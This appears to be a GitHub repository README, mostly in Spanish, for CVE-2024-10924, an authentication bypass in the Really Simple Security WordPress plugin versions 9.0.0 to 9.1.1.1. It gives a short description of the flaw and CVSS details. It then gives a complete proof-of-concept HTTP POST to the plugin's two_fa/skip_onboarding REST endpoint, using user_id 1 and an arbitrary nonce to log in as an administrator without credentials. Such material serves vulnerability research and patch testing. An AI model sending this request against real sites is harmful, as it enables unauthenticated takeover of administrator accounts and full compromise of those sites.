randomrobbiebf/cve-2024-10924Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 – 9.1.1.1 – Bypass de autenticación
Omisión de Autenticación en Really Simple Security (Free, Pro y Pro Multisite) 9.0.0 – 9.1.1.1
Los plugins Really Simple Security (Free, Pro y Pro Multisite) para WordPress son vulnerables a la omisión de autenticación en las versiones 9.0.0 a 9.1.1.1. Esto se debe a un manejo incorrecto de errores en la comprobación de usuarios en las acciones de la API REST de autenticación de dos factores con la función check_login_and_get_user. Esto permite que atacantes no autenticados inicien sesión como cualquier usuario existente en el sitio, como un administrador, cuando la configuración de "Autenticación de Dos Factores" está habilitada (deshabilitada por defecto).
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE CVE-2024-10924
CVSS 9.8 (Critical)
Publicly Published November 14, 2024
Last Updated November 14, 2024
Researcher István Márton - Wordfence
POST /wp-json/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;
Connection: keep-alive
Content-Length: 90
{
"user_id":1,
"login_nonce": "231231231",
"redirect_to": "/wp-admin/"
}